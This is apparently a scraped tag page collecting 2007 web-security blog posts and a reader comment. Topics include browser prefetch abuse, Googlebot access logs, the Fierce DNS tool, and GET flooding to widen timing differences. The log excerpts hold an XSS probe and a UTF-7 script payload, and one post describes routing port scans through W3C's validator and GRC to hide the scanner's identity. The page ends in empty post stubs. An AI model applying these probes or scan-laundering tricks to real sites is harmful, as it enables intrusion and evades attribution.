my Firefox showed up the HTTP-Auth dialog immediately, which I placed on my subdomain testing.bitsploit.de But why I asked myself.

I looked into your HTML source to find a hidden image or something like this, but I didn’t found anything but the link. I haven’t clicked on the link, so why does it pop up ? Than I figured out, that the FasterFox-Extension for Firefox prefetches that link and that’s why the HTTP-Auth dialog pops up.

So there’s another chance to trick FasterFox-users (in forums) without having to use HTML/BBcode for embedding images.

Alex is absolutely right. In fact, this is the exact reason I never used to use Opera (it turns out this is not the same kind of prefetching that Opera does, I only just learned). Sure you can turn it off, but pre-fetching has always been a dangerous thing to me. It can speed things up because it pre-fetches and caches the results, but if it pre-fetches and triggers something, like auto-deletion of your account, or automatically adds something to a shopping cart or anything else, you run into some pretty serious problems. Think CSRF. So yes, this apparently can also be used for phishing in FasterFox. But either way, it’s a very cool example of why pre-fetching can be nasty.

Book Review: The Pragmatic CSO

Posted: January 2nd, 2008, 9:24am CST by RSnake

Tags: Webappsec [edit]

When I saw Mike Rothman’s name on the San Diego ISSA meeting speaker list, I tried to be the first person in the room. Yes, there were more technical talks I could have attended, but why would I want to? If you have never seen or talked to Mike, he is gruff, funny, and knowledgeable about security. I consider Mike to be a friend, so it wasn’t a surprise that he would send me an autographed copy of his self published book (which you will not find on Amazon or B&N). Trust me, that didn’t influence my opinion one way or another, but the inscription was definitely nice. What did influence my opinion of the book was that the content between it’s covers. Once I start reading it, I actually put down the other half dozen books I got until I finished every last word. Me? Finishing a book? I know, as crazy as it sounds, I managed to finish this one last night on a flight home.

Where to start? I think the thing I like about this book is that it’s attempting to be relevant, not just to today’s problems, but all future problems. It’s trying to drop the techno-babble that we all tend to get stuck on, and start talking about how to run a business - a security business no less. He takes a tongue in cheek approach to his lesson, which is that of the CSO as an addict. CSOs have a tendency to live on the edge. Closer to that of a life of a fire fighter than that of an executive. He tries to break the bad habits by discouraging the old school attitude that the security community tends to have - forgetting the modern day reality of monetary gain as a key motivator for malicious hacking.

At first I thought I’d like the book, with quotes like, “I’ve got two dogs at home. I don’t need any more friends.” Then I thought I’d hate the book when the main character, “Mike” said that his tests came back almost completely clean (because they almost never are, unless you really don’t know what you’re doing). But then, almost at the end of the book he pulled it out for me. He really ripped into why vulnerability assessments are critical to understanding your security and then the main character, “Mike” explained that he too had a laundry list of vulnerabilities. Whew! Mike Rothman gets it. One of the best quotes in the book for me was “Good Security = Compliance (but not vice versa)”. Oh, he so got me there. I fell in love with this book.

Not only did he manage to cover a very complex topic, which is that of a troubled CSO in a changing world, but he also managed to make it clear that certain types of testing were critical to business success (including application testing). He also had an interesting take on using actual exploits, and social engineering during the penetration test. He said a number of times that the people who feel that you shouldn’t use those or that it is unethical to do to your staff are wrong. No, I’m not oversimplifying his words. He says they are “wrong”. Bad guys do not follow a code of ethics and neither should anyone who wants to test their security as if they were a bad guy. Bad guys do whatever it takes to break in (understanding, of course, that your data may or may not be valuable enough to risk their freedom for).

Similarly, I loved his comments about not following best practices and not using the same thing as everyone else is. He’s hinting at some of the things I’ve discussed before regarding bio-diversity in networking and applications. It’s an interesting topic to see in a book like this, but I’m glad to see it in there.

Throughout the book Mike puts in statements like, “use common sense”, which I often think are missing from books like this. He’s absolutely right, of course. I think that thread echos throughout his book. It’s not a technical book, it’s a book on changing your thinking to get you ahead of the assailant, in the good graces of your executive staff and into auditory compliance. I’ve run into countless people in the industry who desperately need to read this book so that they too can get a clue. It’s not rocket science. It’s the art of running security like a business. Five stars, Mike!

Google Spamming Us

Posted: December 20th, 2007, 4:11pm CST by RSnake

Tags: Webappsec [edit]

You know, we get some really odd traffic. Some of it good, some of it not so much. Let’s take a look at some of Google’s traffic since it’s a slow day. If nothing else it’s good for a laugh. First let’s look at Google trying to hack us - XSS style:

66.249.73.40 - - [26/Nov/2007:01:53:58 +0000] “GET /blog/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1″ 200 55053 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Not too bad for a robot. How about some totally innane Apache directory structure stuff that couldn’t possibly work?

66.249.73.40 - - [26/Nov/2007:00:46:03 +0000] “GET /bluehat-spring-2007/?C=S;O=A HTTP/1.1″ 200 3681 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Someone needs to figure out how UTF-7 works:

66.249.73.40 - - [26/Nov/2007:02:25:19 +0000] “GET /s.js+ACIAPgA8-/script+AD4-x HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Oh don’t we love the Google spam? I really am disheartened that it’s this easy to con Google into spamming websites. As if I don’t get enough referrer spam, Google does one better. *sigh*

66.249.73.40 - - [23/Nov/2007:19:11:23 +0000] “GET /weird/popup.html/Buy-NET.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [09/Dec/2007:07:21:51 +0000] “GET /weird/popup.html/Buy-COM.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [11/Dec/2007:05:24:19 +0000] “GET /weird/popup.html/Buy-MEUK.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [14/Dec/2007:17:48:58 +0000] “GET /weird/popup.html/Buy-INFO.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Google has a lust for the goatse! Cannot get enough of it!!!!! Seriously, Google. I just don’t have Goatse on my machine. I promise! Granted, I 302 redirect all 404s to the homepage, instead of 301, so that’s my bad, but seriously - there is a reason I might want to do that and still not have goatse on my site. I don’t ever remember having it anyway. Time to give up the obsession, Google!

66.249.73.40 - - [30/Nov/2007:01:04:10 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [07/Dec/2007:19:36:57 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [10/Dec/2007:20:17:00 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [19/Dec/2007:22:58:31 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

More spam anyone? Let’s see here… Google likes Viagra and goatse. I’m seeing a theme here!

66.249.73.40 - - [26/Nov/2007:04:47:00 +0000] “GET /fierce/?ref=SaglikAlani.Com HTTP/1.1″ 304 - “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

And the trackbacks… oh Google, please figure out what a Trackback is and stop spidering it. I swear, no matter how many bazillion times you look at the trackback pages, you’re still not going to find anything useful there. I double cross my heart and swear to die. This is from Nov 18th-Dec 20th (just over one month):

$ grep 66.249.73.40 error_log |grep -c wp-trackback
938

Think how much bandwidth Google uses that is just completely unnecessary. The countless and senseless bandwidth waste-age. I started using Google because it was light on my personal bandwidth - so much for that idea.

Fierce 1.0

Posted: December 20th, 2007, 10:39am CST by RSnake

Tags: Webappsec [edit]

Okay, it’s about time. I am finally releasing Fierce 1.0 as a production ready DNS enumeration tool. What does that mean? It means it works. We have now gotten rid of all the kinks that made me think that it was crippled in a way that made me not want to rely on it. So what was fixed? Well, thanks to Jabra we have now patched fierce so that when it does a zone transfer it continues working, in the off chance that someone messes with the zone transfer to fool fierce into stopping before it sees the real output. Alas, it was a small but important issue to fix.

So! Much much more work to be done. Not the least of which is better dictionary support (especially with cnames like www.corp.company.com where “corp” represents a sub dictionary) better enumeration for things like www01, www02, etc… Future support to make it into a PERL module perhaps for bigger projects, etc… Lots to do! It’s a nice release, given that it’s been in beta for a year through countless sub revisions as we worked a lot of the production kinks out.

In other news, Fierce will be part of Backtrack 3.0. No word on when Backtrack 3 will be made production but you can download the beta now. So for those pen testers out there who rely on Backtrack for their toolset you will go without Fierce in your arsenal no longer. Jabra is the one who ported into backtrack as well. Anyway, big thanks to Jabra for the help!

Matrix Re-loaded

Posted: December 16th, 2007, 11:20am CST by RSnake

Tags: Webappsec [edit]

There is an interesting post over at hackosis talking about using deceptive security models. I’ve always thought this was a good technique in theory. I wrote about it early last year in something called matrix as a security model, wherein you confuse the attacker by giving them completely different results.

I’ve also written about it on Darkreading regarding widespread use of blacklisting having the effect of causing hackers to become better. The problem of how to deal with an attack may be a better problem for evolutionary biologists to solve than computer scientists.

NASDAQ Symbology Change

Posted: December 13th, 2007, 9:18pm CST by RSnake

Tags: Webappsec [edit]

In talking with one of my clients the topic of special characters came up and one of the things they mentioned being worried about was symbology changes at NASDAQ. For those of you who don’t follow this kind of stuff, the old ticker symbols constituted a fairly small subset of possible combinations. The symbology change was designed to allow greater flexibility in the future of the naming conventions (think about it being like the difference between IPv4 and IPv6 in the stock market). Click here to read more details.

That would probably be all fine and dandy except some of the characters actually mean things in programming languages. for instance % * # $ ~ + ! @ are included in the list of possible legal characters. How many lines of code do you think need to be reviewed and fixed before this actually will work seamlessly? My guess is many millions. How many new exploits do you think this will open? Hard to say, but it should be interesting to watch.

Exaggerating Timing Attack Results Via GET Flooding

Posted: December 9th, 2007, 10:04pm CST by RSnake

Tags: Webappsec [edit]

A post by Super-Friez got me thinking of an actual useful application for GET request flooding this evening. Normally we only think of GET requests as a binary thing - one at a time or flooding. But what if we only launched enough GET requests with the intention of impacting server load, not bandwidth latency. So picking the right URL would be critical here (DB impacts, most likely).

When you found the right URL, launching a GET request flood against the server could seriously delay certain types of requests (especially if they must touch a database two times versus one time, for instance - if the DB was part of the flooding). Suddenly something that is normally the difference of a few microseconds could be the difference of seconds. Who cares? Because I’m always curious if there are any practical applications in hacking for DoS and this appears to be one of them - at least in theory.

Initiating Probes Against Servers Via Other Servers

Posted: December 9th, 2007, 4:41pm CST by RSnake

Tags: Webappsec [edit]

Okay, this is convoluted but still kinda cool. I was looking through some pages on various tools out there, and happened across GRC’s probe page that is designed to detect if there are open ports and what the threats are associated with that port. It is protected from nefarious purposes by only scanning the port of the IP address you are originating from. Then I thought, wait, I can come from anywhere that I can get to request this page. The first page that came to mind? W3C’s validator.

Click here to see W3C’s validator requesting and getting the results of GRC’s probe against W3C’s port 80. Pretty esoteric, huh? Yah, I know, there’s not a whole lot of practicality here, except if I wanted to launch a port scan against a site that had something like a http get function (remote image include for instance) I could get GRC to perform the probe on my behalf. If someone were actually logging, they’d most likely see GRC as the attacker. GRC would say, “no, you are the attacker, asking us to attack you.” and W3C would have to look in their logs to find my IP (which would unlikely be associated with me if I had any clue, as an attacker). Maybe locking things down to IP based restrictions isn’t the best security measure if the only input is via a GET string. Something as simple as a post parameter would have stopped me. Odd but worth mentioning.

My Security Planet » Tags » Webappsec

Feeds

117 items tagged "Webappsec"

Posted: March 11th, 2010, 11:06am CST by RSnake

Tags: Webappsec [edit]

Posted: February 15th, 2010, 4:07pm CST by RSnake

Tags: Webappsec [edit]

Posted: February 10th, 2010, 6:20pm CST by RSnake

Tags: Webappsec [edit]

Posted: February 4th, 2010, 9:37am CST by RSnake

Tags: Webappsec [edit]

Posted: February 3rd, 2010, 2:26pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 29th, 2010, 4:55pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 28th, 2010, 10:49am CST by RSnake

Tags: Webappsec [edit]

Posted: January 27th, 2010, 10:55am CST by RSnake

Tags: Webappsec [edit]

Posted: January 26th, 2010, 1:44pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 25th, 2010, 5:34pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 25th, 2010, 11:36am CST by RSnake

Tags: Webappsec [edit]

Posted: January 12th, 2010, 6:03pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 4th, 2010, 11:54am CST by RSnake

Tags: Webappsec [edit]

Posted: December 28th, 2009, 12:58pm CST by RSnake

Tags: Webappsec [edit]

Posted: December 21st, 2009, 10:52am CST by RSnake

Tags: Webappsec [edit]

Posted: December 1st, 2009, 9:29am CST by RSnake

Tags: Webappsec [edit]

Posted: November 23rd, 2009, 4:31pm CST by RSnake

Tags: Webappsec [edit]

Posted: November 20th, 2009, 10:38am CST by RSnake

Tags: Webappsec [edit]

Posted: November 18th, 2009, 10:18am CST by RSnake

Tags: Webappsec [edit]

Posted: November 17th, 2009, 4:07pm CST by RSnake

Tags: Webappsec [edit]

Posted: November 16th, 2009, 3:44pm CST by RSnake

Tags: Webappsec [edit]

Posted: November 15th, 2009, 5:31pm CST by RSnake

Tags: Webappsec [edit]

Posted: November 14th, 2009, 3:48pm CST by RSnake

Tags: Webappsec [edit]

Posted: November 3rd, 2009, 11:30am CST by RSnake

Tags: Webappsec [edit]

Posted: October 29th, 2009, 3:01pm CDT by RSnake

Tags: Webappsec [edit]

Posted: October 25th, 2009, 11:34am CDT by RSnake

Tags: Webappsec [edit]

Posted: October 22nd, 2009, 5:50pm CDT by RSnake

Tags: Webappsec [edit]

Posted: October 19th, 2009, 5:46pm CDT by RSnake

Tags: Webappsec [edit]

Posted: October 15th, 2009, 11:22am CDT by RSnake

Tags: Webappsec [edit]

Posted: October 8th, 2009, 8:03pm CDT by RSnake

Tags: Webappsec [edit]

Posted: September 18th, 2009, 10:00pm CDT by RSnake

Tags: Webappsec [edit]

Posted: September 11th, 2009, 12:23pm CDT by RSnake

Tags: Webappsec [edit]

Posted: September 8th, 2009, 2:21pm CDT by RSnake

Tags: Webappsec [edit]

Posted: August 24th, 2009, 11:09am CDT by RSnake

Tags: Webappsec [edit]

Posted: August 20th, 2009, 9:50am CDT by RSnake

Tags: Webappsec [edit]

Posted: August 19th, 2009, 11:43am CDT by RSnake

Tags: Webappsec [edit]

Posted: August 11th, 2009, 2:54pm CDT by RSnake

Tags: Webappsec [edit]

Posted: August 10th, 2009, 10:19am CDT by RSnake

Tags: Webappsec [edit]

Posted: August 9th, 2009, 1:12pm CDT by RSnake